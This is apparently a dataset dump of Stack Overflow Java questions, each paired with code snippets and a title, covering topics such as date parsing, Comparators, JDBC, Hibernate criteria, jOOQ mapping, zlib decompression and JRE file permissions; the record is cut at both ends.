2020voluntary_ctxt_switches : 90nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:32 MSK 2020voluntary_ctxt_switches : 90nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:35 MSK 2020voluntary_ctxt_switches : 90nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:38 MSK 2020voluntary_ctxt_switches : 90nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:41 MSK 2020voluntary_ctxt_switches : 91nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:44 MSK 2020voluntary_ctxt_switches : 91nonvoluntary_ctxt_switches : 37Fri Oct 16 18:23:47 MSK 2020voluntary_ctxt_switches : 91nonvoluntary_ctxt_switches : 37,"When busy-spining Java thread is bound to physical core , can context switch happen by the reason that new branch in code is reached ?" +Java,"While parsing a large number of dates in java , I occasionally get this weird bug : I this case , the date was The date format was My code : Source data : EDIT : The string in the error log seems perfectly fine : I need help on how to solve this .","java.lang.NumberFormatException : For input string : `` .201144E4.201144E4 '' at sun.misc.FloatingDecimal.readJavaFormatString ( FloatingDecimal.java:1250 ) at java.lang.Double.parseDouble ( Double.java:540 ) at java.text.DigitList.getDouble ( DigitList.java:168 ) at java.text.DecimalFormat.parse ( DecimalFormat.java:1321 ) at java.text.SimpleDateFormat.subParse ( SimpleDateFormat.java:1793 ) at java.text.SimpleDateFormat.parse ( SimpleDateFormat.java:1455 ) at java.text.DateFormat.parse ( DateFormat.java:355 ) at gameloop.tf2tradebot.user.UserManager.getUser ( UserManager.java:102 ) at gameloop.tradebot2.bot.weaponbot1.Weaponbot1.onMessageReceived ( Weaponbot1.java:269 ) at gameloop.api.steam.chat.ChatEvent.run ( ChatEvent.java:49 ) at java.lang.Thread.run ( Thread.java:745 ) 2014-12-13 06:56:27 private static final DateFormat STANDARD_DATE_FORMAT = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss '' , Locale.ENGLISH ) ; Date firstSeenDate = null ; try { firstSeenDate = STANDARD_DATE_FORMAT.parse ( firstSeen ) ; } catch ( Exception pe ) { pe.printStackTrace ( ) ; logger.outputError ( 4001 , `` Error parsing first seen date . Shutting down ... '' ) ; logger.outputError ( 4001 , `` First seen date : \ ' '' + firstSeen + `` \ ' '' ) ; CH405BotServer.shutdown ( logger.getCallerName ( ) , `` an error in parsing first seen date '' ) ; } user.setFirstSeen ( firstSeenDate ) ; isadmin = falsefirstseen = 2014-12-13 06:56:27lastseen = 2014-12-13 06:56:27numtrades = 0 ( ERROR 4001 ) Error parsing first seen date . Shutting down ... ( ERROR 4001 ) Last seen date : '2014-12-13 06:56:27 '",Weird Date parsing error in Java +Java,I have following class . In here there are two main method which are accept Integer [ ] and String [ ] as input argument . My question is how JVM always load second method as main method of this class . Why always consider input argument as array of String ?,public class Test { public static void main ( Integer [ ] args ) { System.out.println ( `` This is not a main '' ) ; } public static void main ( String [ ] args ) { System.out.println ( `` This is the main '' ) ; } },Two Main methods with different signatures +Java,"I ran into a new way of creating Comparator while doing exercises . Can anyone explain this a little bit ? In the past , I have only seen people doing this : So the first example really seems novel to me ( because I am a beginner ? ) . It does make sense : desc could be an property/instance variable of class Checker which points to a new instance of Comparator class/interface . However are there more stories behind these two different ways of doing things ? They all require creating a different class so I do n't see how either one could be more organized .","class Checker { public Comparator < Player > desc = new Comparator < Player > ( ) { public int compare ( Player A , Player B ) { if ( A.score < B.score ) { return 1 ; } else if ( A.score == B.score ) { return B.name.compareTo ( A.name ) ; } else { return -1 ; } } } ; } class Checker implements Comparator { @ Override public int compare ( Player A , Player B ) { ... ... ... . ... ... ... . } }",Using reference variable to point to a Comparator ? +Java,"I am using Play Framework 2 for Java and Bootstrap Helper in my project and I want to apply active class on sidebar link click . I am using side nav bar for navigation and by default one link is always has active class on page load , so thats why in every time only one link is highlighted as a active link , but how to change the class= '' active '' on route or link change , is there any way to check the route path is our html scala template file.Here are my side bar navigation code.Here are my routes filePlease give me some suggestion on it !",< ul class= '' nav nav-list '' > < li class= '' active '' > < a href= '' /menu1 '' > Menu1 < /a > < /li > < li > < a href= '' /menu2 '' > Menu2 < /a > < /li > < li > < a href= '' /menu3 '' > Menu3 < /a > < /li > < /ul > GET /menu1 com.demo.project.controllers.DemoController.menu1 ( ) GET /menu2 com.demo.project.controllers.DemoController.menu2 ( ) GET /menu3 com.demo.project.controllers.DemoController.menu3 ( ),Play Framework : How do I change active class on route change +Java,"I have a class which is generified with the type < T extends Enum < T > & Runnable > . I have a member variable Class < T > bar which I set by the class name : t = ( Class < T > ) Class.forName ( name ) . This gives me an unchecked cast warning . Normally , using asSubclass can be used in similar situations , but since T has multiple bounds , I 'm not able to use it without getting a compiler warning : Can I get rid of this warning in any way , without using @ SupressedWarning ( `` unchecked '' ) ? Full example :","//This is type safe , but I still get an unchecked cast warningt = ( Class < T > ) Class.forName ( className ) .asSubclass ( Enum.class ) .asSubclass ( Runnable.class ) ; public class Example < T extends Enum < T > & Runnable > { Class < T > t ; Example ( String className ) throws ClassNotFoundException { t = ( Class < T > ) Class.forName ( className ) .asSubclass ( Enum.class ) .asSubclass ( Runnable.class ) ; } }",Class.asSubclass with multiple bounded types and unchecked cast +Java,"Hey , long time listener first time caller , and I 'm asking a question related to Java reflection , and how easy it lends itself to apparently ugly coding . The following method attempts to take two similar objects ( one object having all of the fields of the other object , and then some ) and compare the two of them for equality . It will ( allegedly ) return true if the getters that the objects share are equal , and will return false if they are not equal.This method does what I expect it to do in the unit tests , but it looks ugly , and feels wrong ( I 'm particularly not a fan of the nested 'if ' ) . I was just hoping for some pointers on how to do this more effectively/efficiently . If I 've broken some kind of posting rule , feel free to correct me , I am eager to learn , etc .","public boolean validateArchive ( Object record , Object arcRecord ) throws IllegalAccessException , InvocationTargetException , NoSuchMethodException { log.debug ( record.getClass ( ) .toString ( ) ) ; Object methodValue ; Object arcMethodValue ; for ( Method method : record.getClass ( ) .getMethods ( ) ) { if ( method.getTypeParameters ( ) .length == 0 & & method.getName ( ) .startsWith ( `` get '' ) & & ! method.getName ( ) .startsWith ( `` getClass '' ) ) { methodValue = method.invoke ( record ) ; arcMethodValue = arcRecord.getClass ( ) .getMethod ( method.getName ( ) ) .invoke ( arcRecord ) ; log.debug ( `` Method name : `` + method.getName ( ) ) ; log.debug ( `` Archive value : `` + arcMethodValue ) ; log.debug ( `` Object value : `` + methodValue ) ; if ( arcMethodValue ! = null & & methodValue ! = null & & ! arcMethodValue.equals ( methodValue ) ) { return false ; } else { if ( arcMethodValue == null & & methodValue ! = null || methodValue == null & & arcMethodValue ! = null ) { return false ; } } } } return true ; }","Effective Use of Java Reflection - is this a hack , or is this standard practice ?" +Java,"Here is my code for Scene.java . It has different types of objects , all of which are included in one common ArrayList called targets . All of them share a toString ( ) method that returns their identifier . I want to use the targets list to determine if there is any object in the scene that matches a given identifier , regardless of its type : Here is the code in Game.java , which checks for a given identifier . If there is a match ion the current scene , I want to know the object 's type and treat it as its true type . Right now , I have the following code , and I knew it would n't work , but maybe it 'll help get my idea across . What would be the correct way of getting the object 's type and then being able to use that object 's methods ? Right now , I 'm only given Object 's methods . Do I create a superclass for NPC , Item , and EnviromentalObject ?",ArrayList < NPC > npcs = new ArrayList < NPC > ( ) ; ArrayList < Item > items = new ArrayList < Item > ( ) ; ArrayList < EnviromentalObject > enviromental_objects = new ArrayList < EnviromentalObject > ( ) ; ArrayList < Object > targets ; public Object check_for_target ( String target_name ) { targets.addAll ( npcs ) ; targets.addAll ( items ) ; targets.addAll ( enviromental_objects ) ; for ( Object target : targets ) { if ( target.toString ( ) == target_name ) { return target ; } } return null ; Object target = current_scene.check_for_target ( target_name ) ; if ( target == null ) { System.out.println ( UNRECOGNIZED_TARGET_MESSAGE ) ; } else { String target_type = target.getClass ( ) .getName ( ) ; target = ( target_type ) target ; },Java converting from Object to Subclass +Java,"I 've written the following test code : on my linux laptop , this crashes in ~5 minutes with the following exception : the success/fail counters look like this : which tells me that : there were no close failuresall connections either failed to create or were successfully closed ( 136178 + 40999 = 177177 ) all failures to open were ephemeral port exhaustion except for the last one ( 40999 = 40998 + 1 ) the complete code is up on github here - https : //github.com/radai-rosenblatt/oncrpc4j-playground/blob/master/src/test/java/net/radai/LeakTest.javaso , am i somehow misusing the grizzly API , or is this a real leak ? ( note - im using grizzly 2.3.12 , which i know is not the latest . upgrading would require convincing people , which is why i want to be positive this is not user error on my end ) EDIT - this thing leaks even when nothing is thrown . cutting back to a single thread and putting a 2ms sleep in there still leaks 800 pipes over 50 minutes .","@ Testpublic void testLeakWithGrizzly ( ) throws Throwable { ExecutorService executor = Executors.newFixedThreadPool ( N_THREADS ) ; Set < Future < Void > > futures = new HashSet < > ( ) ; InetSocketAddress inetSocketAddress = new InetSocketAddress ( localhostAddress , 111 ) ; for ( int i = 0 ; i < N_THREADS ; i++ ) { Future < Void > future = executor.submit ( new GrizzlyConnectTask ( inetSocketAddress , requests , bindFailures , successfulOpens , failedOpens , successfulCloses , failedCloses ) ) ; futures.add ( future ) ; } for ( Future < Void > future : futures ) { future.get ( ) ; //block } Thread.sleep ( 1000 ) ; //let everything calm down reporter.report ( ) ; throw causeOfDeath ; } private static class GrizzlyConnectTask implements Callable < Void > { private final InetSocketAddress address ; private final Meter requests ; private final Meter bindFailures ; private final Counter successfulOpens ; private final Counter failedOpens ; private final Counter successfulCloses ; private final Counter failedCloses ; public GrizzlyConnectTask ( InetSocketAddress address , Meter requests , Meter bindFailures , Counter successfulOpens , Counter failedOpens , Counter successfulCloses , Counter failedCloses ) { this.address = address ; this.requests = requests ; this.bindFailures = bindFailures ; this.successfulOpens = successfulOpens ; this.failedOpens = failedOpens ; this.successfulCloses = successfulCloses ; this.failedCloses = failedCloses ; } @ Override public Void call ( ) throws Exception { while ( ! die ) { TCPNIOTransport transport = null ; boolean opened = false ; try { transport = TCPNIOTransportBuilder.newInstance ( ) .build ( ) ; transport.start ( ) ; transport.connect ( address ) .get ( ) ; //block opened = true ; successfulOpens.inc ( ) ; //successful open requests.mark ( ) ; } catch ( Throwable t ) { //noinspection ThrowableResultOfMethodCallIgnored Throwable root = getRootCause ( t ) ; if ( root instanceof BindException ) { bindFailures.mark ( ) ; //ephemeral port exhaustion . continue ; } causeOfDeath = t ; die = true ; } finally { if ( ! opened ) { failedOpens.inc ( ) ; } if ( transport ! = null ) { try { transport.shutdown ( ) .get ( ) ; //block successfulCloses.inc ( ) ; //successful close } catch ( Throwable t ) { failedCloses.inc ( ) ; System.err.println ( `` while trying to close transport '' ) ; t.printStackTrace ( ) ; } } else { //no transport == successful close successfulCloses.inc ( ) ; } } } return null ; } } java.io.IOException : Too many open files at sun.nio.ch.EPollArrayWrapper.epollCreate ( Native Method ) at sun.nio.ch.EPollArrayWrapper. < init > ( EPollArrayWrapper.java:130 ) at sun.nio.ch.EPollSelectorImpl. < init > ( EPollSelectorImpl.java:68 ) at sun.nio.ch.EPollSelectorProvider.openSelector ( EPollSelectorProvider.java:36 ) at org.glassfish.grizzly.nio.Selectors.newSelector ( Selectors.java:62 ) at org.glassfish.grizzly.nio.SelectorRunner.create ( SelectorRunner.java:109 ) at org.glassfish.grizzly.nio.NIOTransport.startSelectorRunners ( NIOTransport.java:256 ) at org.glassfish.grizzly.nio.NIOTransport.start ( NIOTransport.java:475 ) at net.radai.LeakTest $ GrizzlyConnectTask.call ( LeakTest.java:137 ) at net.radai.LeakTest $ GrizzlyConnectTask.call ( LeakTest.java:111 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ) -- Counters -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- failedCloses count = 0failedOpens count = 40999successfulCloses count = 177177successfulOpens count = 136178 -- Meters -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- bindFailures count = 40998 mean rate = 153.10 events/second 1-minute rate = 144.61 events/second 5-minute rate = 91.12 events/second 15-minute rate = 39.56 events/secondrequests count = 136178 mean rate = 508.54 events/second 1-minute rate = 547.38 events/second 5-minute rate = 442.76 events/second 15-minute rate = 391.53 events/second",Grizzly pipe leak - what am i doing wrong ? +Java,"Suppose set is a HashSet with n elements and k is some int between 0 ( inclusive ) and n ( exclusive ) .Can somebody explain , in simple terms , what actually happens when you do this ? In particular , what is the time complexity of this ? Does the addition of spliterator ( ) to the Collection interface mean that we now have faster access to `` random '' elements of collections than would have been possible with Java 7 ?",set.stream ( ) .skip ( k ) .findFirst ( ) ;,Efficiency of collection.stream ( ) .skip ( ) .findFirst ( ) +Java,"I have a Swing app written in Scala in a .jar file . I made a desktop shortcut with the command scala `` filepath\filename.jar '' which works , except it brings up a command window first which sits in the background until I close the application . I want to make this go away.I believe for Java you 're supposed to use javaw instead of java for this purpose . I tried copying the scala.bat file to a new file called scalaw.bat to and changing line 24 to and line 28 to but ( after updating the desktop shortcut ) I 'm still getting the command window coming up . Any ideas ? Update : I tried adding scala-library.jar to the manifest but it does n't work , I guess because paths are relative to the jar 's root . Other option seems to be include the whole scala-library jar within the jar file ( Creating a jar file from a Scala file ) , but I do n't consider that a solution . Or I can unpack the jar to its constituent .class files and use the shortcutjavaw.exe -cp `` % SCALA_HOME % /lib/scala-library.jar '' ; '' filepath\\ '' packageName.classNamebut ... that involves unpacking the jar . Another semi-workaround Ive found is to edit the shortcut so that it the command window runs minimized.Solution : as per eugener 's answer , you need to use javaw without the -jar option , but specifying the jar-file e.g.If it 's a Swing app and you use the scala-swing library you 'll need to include that as well , or use the * wildcard as above .",if exist `` % JAVA_HOME % \bin\javaw.exe '' set `` _JAVACMD= % JAVA_HOME % \bin\javaw.exe '' if `` % _JAVACMD % '' == '' '' set _JAVACMD=javaw javaw -cp `` % SCALA_HOME % /lib/* '' ; '' C : /path/yourjar.jar '' packageName.className,Launch a Scala Swing app on Windows without command window +Java,"I 've been struggling with the problem in the subject for a bit longer than I 'd like to admit.I 'm attempting to programatically execute the same Action that occurs when the user either clicks on the View > Collapse All button or right-clicks within the editor window and then Code Folding > Fold All.What I tried\found so far : The String that corresponds to the Action may be found in the enum com.mathworks.mde.editor.ActionID and is : 'collapse-all-folds'.When the Action activates , the following method seems to be executed : org.netbeans.api.editor.fold.FoldUtilities.collapseAll ( ... ) ( hence the netbeans tag ) .This code allows me to get instances of EditorAction , ActionManager , MatlabEditor : My problem is that I ca n't find a way to actually activate the Action.Any ideas / alternatives ? EDIT1 : After digging a bit in `` the book '' , I think I came even closer than before ( but still not quite there ) . Quoting from the book : Java GUI components often use anActionMapto store runnableActionsthat are invoked by listeners on mouse , keyboard , property , or container events . Unlike object methods , Actionscannot be directly invoked by MATLAB.And then a workaround is explained which involves roughly : getting some sort of an Action object ; creating an ActionEvent and invoking Action 's actionPerformed with the ActionEvent as an argument , as implemented below : This code runs without errors - but does ( seemingly ? ) nothing . I suspect that I 'm calling ActionEvent and actionPerformed on the wrong objects ( ActionManager has possibly nothing to do with this problem at all ) .P.S.I know that there 's a hotkey that does this ( Ctrl + = ) , but this is not what I 'm looking for ( unless there 's a command to simulate a hotkey press : ) ) .","jEd = com.mathworks.mlservices.MLEditorServices.getEditorApplication.getActiveEditor ; jAm = com.mathworks.mde.editor.ActionManager ( jEd ) ; jAc = com.mathworks.mde.editor.EditorAction ( 'collapse-all-folds ' ) ; import java.awt.event . * ; jEd = com.mathworks.mlservices.MLEditorServices.getEditorApplication.getActiveEditor ; jAm = com.mathworks.mde.editor.ActionManager ( jEd ) ; jAc = jAm.getAction ( com.mathworks.mde.editor.EditorAction ( 'collapse-all-folds ' ) ) ; jAe = ActionEvent ( jAm , ActionEvent.ACTION_PERFORMED , `` ) ; jAc.actionPerformed ( jAe ) ;",How to execute `` collapse-all-folds '' in the MATLAB editor programatically ? +Java,I want to animate a JFrame to become half-size when i press a button in my programme . I think the easiest way is putting the current bounds of JFrame into a timer and decrease bounds 1 by 1 when the timer running.But when I declare a new timer in netbeans IDE it will looks like this.But the problem is in here `` this '' not refering to JFrame.And also I cant even create a new object of my JFrame.Because it will give me another window.Can anyone help me solve this problem ? .,"Timer t = new Timer ( 5 , new ActionListener ( ) { public void actionPerformed ( ActionEvent e ) { //inside this I want to get my Jframe 's bounds like this // int width = this.getWidth ( ) ; -- -- -- -- -here , '' this '' means the Jframe } } } ) ;",problem with getting JFrame bounds inside a timer in Netbeans +Java,"I have the following code which will sort the Employees 's based on their experience . I am adding 2 employees with different name and same experience . I am expecting that at the end set will have 2 employees , but I am getting only one.I have also overridden equals and hashcode , Can any one tell me why I am getting only one employee in the set . Test ClassModel Class","import java.util.Comparator ; import java.util.Set ; import java.util.TreeSet ; import org.apache.commons.lang3.builder.EqualsBuilder ; import org.apache.commons.lang3.builder.HashCodeBuilder ; import org.junit.Test ; public class SetWithComparator { @ Test public void testComparatorWithSet ( ) { Comparator < Employee > comparator = ( emp1 , emp2 ) - > emp1.getYearOFExp ( ) .compareTo ( emp2.getYearOFExp ( ) ) ; Set < Employee > empSet = new TreeSet < > ( comparator ) ; Employee e1 = new Employee ( ) ; e1.setName ( `` Employee-1 '' ) ; e1.setYearOFExp ( 12f ) ; Employee e2 = new Employee ( ) ; e2.setName ( `` Employee-2 '' ) ; e2.setYearOFExp ( 12f ) ; empSet.add ( e1 ) ; empSet.add ( e2 ) ; } } class Employee { private String name ; private Float yearOFExp ; public String getName ( ) { return name ; } public void setName ( String name ) { this.name = name ; } public Float getYearOFExp ( ) { return yearOFExp ; } public void setYearOFExp ( Float yearOFExp ) { this.yearOFExp = yearOFExp ; } @ Override public boolean equals ( Object obj ) { if ( obj instanceof Employee ) { Employee e = ( Employee ) obj ; return new EqualsBuilder ( ) .append ( name , e.getName ( ) ) .isEquals ( ) ; } else { return false ; } } @ Override public int hashCode ( ) { return new HashCodeBuilder ( ) .append ( name ) .toHashCode ( ) ; } }",Data lost from TreeSet when using Comparator +Java,"I 'm trying to get some data from Oracle DB using Spring JDBCTemplate : But I 'm always getting an exception only for ar_incidient table : Caused by : org.springframework.jdbc.BadSqlGrammarException : StatementCallback ; bad SQL grammar [ SELECT * from snow.ar_incident WHERE ROWNUM < 10 ] ; nested exception is java.sql.SQLSyntaxErrorException : ORA-00942 : table or view does not existThis code works perfectly fine for other tables but not for this one . I also tried to get data from this table using core Java sql connection : And it worked without a problem , same when I run the query in SQL Developer . I have checked many times connection details for the both solutions and they are identical . Why ca n't I access ar_incident table using JDBCTemplate ?","String query = `` SELECT * FROM snow.ar_incident WHERE ROWNUM < 10 '' ; Map < String , List < Attachment > > map = jdbcTemplate.query ( query , new ResultSetExtractor < Map < String , List < Attachment > > > ( ) { @ Override public Map < String , List < Attachment > > extractData ( ResultSet rs ) throws SQLException , DataAccessException { Map < String , List < Attachment > > map = new HashMap < > ( ) ; //Mapping results to map return map ; } } ) ; Class.forName ( `` oracle.jdbc.driver.OracleDriver '' ) ; Connection con = DriverManager.getConnection ( connString , user , pass ) ; Statement stmt=con.createStatement ( ) ; ResultSet rs = stmt.executeQuery ( `` SELECT * from snow.ar_incident WHERE ROWNUM < 10 '' ) ;",JDBC Template exception table or view does not exist but it actually exists +Java,I have the following input string : ( the string length and == 'something ' varies ) .Desired output : I have tried but that does not give me the end bracket . Any idea how this can be done ? Thanks !,"flag1 == 'hello ' and flag2=='hello2 ' flag1== ( `` hello '' ) and flag2= ( `` hello2 '' ) line = line.replaceAll ( `` ( \\s*==\\s* ) '' , `` ( \ '' '' )",Java regex enclose words in brackets +Java,I am trying to get selected columns from a table using hibernate criteria queryThe name txnType mentioned in projection is having a clash with restriction.Giving me the following errorHow can we solve this issue ?,"Criteria cr = session.createCriteria ( OfferCashbackMaster.class ) .setProjection ( Projections.projectionList ( ) .add ( Projections.property ( `` txnType '' ) , `` txnType '' ) .add ( Projections.property ( `` off_Discription '' ) , `` off_Discription '' ) ) .setResultTransformer ( Transformers.aliasToBean ( OfferCashbackMaster.class ) ) .add ( Restrictions.and ( Restrictions.eq ( `` aggregatorId '' , aggregatorId ) , Restrictions.eq ( `` txnType '' , txnType ) ) ) ; Hibernate : select this_.OFFER_CODE as y0_ , this_.TXN_TYPE as y1_ , this_.VALID_TO as y2_ , this_.OFFER_DISCRIPTION as y3_ from OFFER_CASHBACK_MASTER this_ where ( this_.AGGREGATOR_ID= ? and y1_= ? ) 2018-02-25/15:42:41.756 WARN : util.JDBCExceptionReporter - SQL Error : 1054 , SQLState : 42S222018-02-25/15:42:41.757 ERROR : util.JDBCExceptionReporter - Unknown column 'y1_ ' in 'where clause '",Hibernate Criteria Query Issue with Projection and restriction +Java,"I have an interface Polygon , and then I have a class Quadrilateral . Then , I have two classes , Square and Rectangle , which extends the Quadrilateral.Quadrilateral consists of the instance variables sideA , sideB , sideC , and sideD . It contains the methods area ( ) and perimeter ( ) to compute the area and perimeter of any quadrilateral.With that in mind , the class Square has one instance variable , lengthOfSides , and the class Rectangle has two instance variables , length and width.Since the methods area and perimeter in Quadrilateral can be used for calculating the area and perimeter of any quadrilateral , including a square and rectangle , I thought it would be best to just construct a Square or Rectangle and then call the super class to assign the sides ( needed in Quadrilateral for area and perimeter calculations ) . In addition , when the instance variables in Square or Rectangle are changed , the setters also update the associated values in the parent classes.Here is the Square class : Is this considered bad practice ? This is for a college assignment , and she did n't specify what she was looking for . It seemed useless to extend the class Quadrilateral if I were to not use anything from Quadrilateral in Square .","/** * A model for a Square . * * @ author BTKS */public class Square extends Quadrilateral { private static final double ANGLES_SUM = 180 ; // the total sum of two opposite angles in degrees private double lengthOfSides ; // the length of each side /** * Construct a new Square . * * @ param lengthOfSides the length of each side */ public Square ( double lengthOfSides ) { super ( ANGLES_SUM , lengthOfSides , lengthOfSides , lengthOfSides , lengthOfSides ) ; this.lengthOfSides = lengthOfSides ; } /** * @ return the length of each side */ public double getLengthOfSides ( ) { return lengthOfSides ; } /** * @ param lengthOfSides the length of each side */ public void setLengthOfSides ( double lengthOfSides ) { this.lengthOfSides = lengthOfSides ; super.setSideA ( lengthOfSides ) ; super.setSideB ( lengthOfSides ) ; super.setSideC ( lengthOfSides ) ; super.setSideD ( lengthOfSides ) ; } }",Inheritance concerns between Square/Rectangle ( with constrained invariants ) which share Quadrilateral base +Java,"I have a binary file with contents created by zlib.compress on Python , is there an easy way to open and decompress it in Clojure ? Basicallly it is n't a gzip file , it is just bytes representing deflated data.I could only find these references but not quite what I 'm looking for ( I think first two are most relevant ) : deflateclj_hatemogi_clojure/deflate.cljfuncool/buddy-core/deflate.cljCompressing / Decompressing strings in clojureReading and Writing Compressed Filesclj-httpMust I really implement this multi-line wrapper to java.util.zip or is there a nice library out there ? Actually I 'm not even sure if these byte streams are compatible across libraries , or if I 'm just trying to mix-and-match wrong libs.Steps in Python : Decode attempt in Clojure : Any help would be appreciated . I would n't want to use zip or gzip files as I only care about raw content , not file names or modification dates in this context . But is possible to use an other compression algorithm on Python side if it is the only option .","import zlibimport jsonwith open ( 'data.json.zlib ' , 'wb ' ) as f : f.write ( zlib.compress ( json.dumps ( data ) .encode ( 'utf-8 ' ) ) ) > > > ' { `` hello '' : `` world '' } '.encode ( 'utf-8 ' ) b ' { `` hello '' : `` world '' } ' > > > zlib.compress ( b ' { `` hello '' : `` world '' } ' ) b ' x\x9c\xabV\xcaH\xcd\xc9\xc9W\xb2RP*\xcf/\xcaIQ\xaa\x05\x009\x99\x06\x17 ' > > > [ int ( i ) for i in zlib.compress ( b ' { `` hello '' : `` world '' } ' ) ] [ 120 , 156 , 171 , 86 , 202 , 72 , 205 , 201 , 201 , 87 , 178 , 82 , 80 , 42 , 207 , 47 , 202 , 73 , 81 , 170 , 5 , 0 , 57 , 153 , 6 , 23 ] > > > import numpy > > > [ numpy.int8 ( i ) for i in zlib.compress ( b ' { `` hello '' : `` world '' } ' ) ] [ 120 , -100 , -85 , 86 , -54 , 72 , -51 , -55 , -55 , 87 , -78 , 82 , 80 , 42 , -49 , 47 , -54 , 73 , 81 , -86 , 5 , 0 , 57 , -103 , 6 , 23 ] > > > zlib.decompress ( bytes ( [ 120 , 156 , 171 , 86 , 202 , 72 , 205 , 201 , 201 , 87 , 178 , 82 , 80 , 42 , 207 , 47 , 202 , 73 , 81 , 170 , 5 , 0 , 57 , 153 , 6 , 23 ] ) ) .decode ( 'utf-8 ' ) ' { `` hello '' : `` world '' } ' ; https : //github.com/funcool/buddy-core/blob/master/src/buddy/util/deflate.clj # L40 without try-catch ( ns so.core ( : import java.io.ByteArrayInputStream java.io.ByteArrayOutputStream java.util.zip.Deflater java.util.zip.DeflaterOutputStream java.util.zip.InflaterInputStream java.util.zip.Inflater java.util.zip.ZipException ) ( : gen-class ) ) ( defn uncompress `` Given a compressed data as byte-array , uncompress it and return as an other byte array . '' ( [ ^bytes input ] ( uncompress input nil ) ) ( [ ^bytes input { : keys [ nowrap buffer-size ] : or { nowrap true buffer-size 2048 } : as opts } ] ( let [ buf ( byte-array ( int buffer-size ) ) os ( ByteArrayOutputStream . ) inf ( Inflater . ^Boolean nowrap ) ] ( with-open [ is ( ByteArrayInputStream . input ) iis ( InflaterInputStream . is inf ) ] ( loop [ ] ( let [ readed ( .read iis buf ) ] ( when ( pos ? readed ) ( .write os buf 0 readed ) ( recur ) ) ) ) ) ( .toByteArray os ) ) ) ) ( uncompress ( byte-array [ 120 , -100 , -85 , 86 , -54 , 72 , -51 , -55 , -55 , 87 , -78 , 82 , 80 , 42 , -49 , 47 , -54 , 73 , 81 , -86 , 5 , 0 , 57 , -103 , 6 , 23 ] ) ) ZipException invalid stored block lengths java.util.zip.InflaterInputStream.read ( InflaterInputStream.java:164 )",Decompress zlib stream in Clojure +Java,"I have two tables , asdf and qwer , both tables have a primary key named `` id '' . When I join these two tables , the result will have two columns named id , and JOOQ is unable to map the records correctly to POJOs.Now every Asdf instance has the same id as it 's corresponding Qwer instance in the tuple.Is there a clever aliasing trick that can solve this problem , or did I miss something in the JOOQ documentation , or is this a bug in JOOQ ?","sql.select ( ASDF.fields ( ) ) .select ( QWER.fields ( ) ) .from ( ASDF ) .leftOuterJoin ( QWER ) .onKey ( QWER.ASDF_ID ) .where ( ASDF.SOMETHING.eq ( something ) ) .fetch ( r - > tuple ( r.into ( Asdf.class ) , r.into ( Qwer.class ) ) )",JOOQ record mapper maps the wrong id on join +Java,"In the class below , I get a compilation error with Java 8 due to an ambiguous call to this ( ) . With Java 6 this class compiled fine , though.I know I could refactor this using factory methods and such but for the actual class where the problem occurs , I would strongly prefer to maintain the current API for now.Can anyone think of a way to resolve the ambiguity without changing the external API ?","public class Vararg8 { public Vararg8 ( final Object ... os ) { } public Vararg8 ( final boolean b , final String s , final int ... is ) { } public Vararg8 ( ) { this ( true , `` test '' , 4 , 5 , 6 ) ; } }",Constructor ambiguity with varargs in java 8 +Java,"I have a command line Java application which reads and writes files on Windows 7 x64 platform . Currently application runs with shipped IBM Java SE 6 . Structure as follows : Now , I replaced the jre folder with unzipped JRE 8 package . And the application started complaining that it can not `` access '' ( actually it 's write operation ) files in some_folder . If I create manually new some_folder_1 under APP_ROOT and re-configure application to use it - application runs just fine . If I delete newly created some_folder_1 and rename some_folder to some_folder_1 - application complaining that it ca n't access it ( even in read mode ) . If I replace jre folder with JRE 6 files - application start working fine.Tried comparing effective permissions via Properties - all looks the same , nothing suspicious . UAC is turned on , I 'm working and doing folders replacement under regular user.UPDATE : After I turned off UAC in Windows 7 and rebooted , application started working fine with JRE 8 . But I need to make it working with UAC turned on . When reverted UAC to on and rebooted - application with JRE 8 failed again . Also , noticed that seems JRE 8 does not create properly files in `` C : \Users\username\AppData\Local\VirtualStore\Program Files ( x86 ) \ '' , where it normally create when program attempts to write inside Program Files.UPDATE 2 : Did more troubleshooting , and narrowed problem : Application with JRE 8 fails only when it writes to `` C : \Program Files\APP_ROOT\some_folder '' By Windows 7 design in this case file expected to be created in C : \User..\VirtualStore , but JRE 8 can not do this ( which is wrong and the root of the problem ) JRE 6 can create files fine in VirtualStore.VirtualStore content was cleaned up before re-run with JRE 8The succeeded run with `` some_folder_1 '' and JRE 8 combination was because JRE 8 actually wrote inside C : \Program Files/APP_ROOT/some_folder_1 - which is violation IMHO . So , this is another problem - why JRE 8 did not redirect writing to filesystem in the VirtualStore , and modified instead C : \Program Files subfolder.If I define % localusrdir % to some C : \temp directory , JRE 8 shows the same problem , so it 's not only specific problem of VirtualStore folder , IMHO.So , I make conclusion - for some reason JRE 8 can not redirect writing output to C : \Program Files ... into C : \Users ... \VirtualStoreHow it can be fixed , so JRE 8 start writing in VirtualStore fine as JRE 6 does ? UPDATE 3 : the failing JRE version :","APP_ROOT some_folder jre bin lib myjarfile.jar appl_start.bat C : \Program Files ( x86 ) \APP\jre\bin > java.exe -versionjava version `` 1.8.0 '' Java ( TM ) SE Runtime Environment ( build pwi3280-20150129_02 ) IBM J9 VM ( build 2.8 , JRE 1.8.0 Windows 7 x86-32 20150116_231420 ( JIT enabled , AOT enabled ) J9VM - R28_Java8_GA_20150116_2030_B231420JIT - tr.r14.java_20150109_82886.02GC - R28_Java8_GA_20150116_2030_B231420J9CL - 20150116_231420 ) JCL - 20150123_01 based on Oracle jdk8u31-b12",Java SE 6 and Java SE 8 JRE behave differently on Windows 7 ( files permissions ) +Java,Does anybody know why the following snippet does not throw a NumberFormatException ? Note that there is a P inside .parseFloat ( `` 0xabcP2f '' ) ) ;,public class FlIndeed { public static void main ( String [ ] args ) { System.out.println ( new FlIndeed ( ) .parseFloat ( `` 0xabcP2f '' ) ) ; } public float 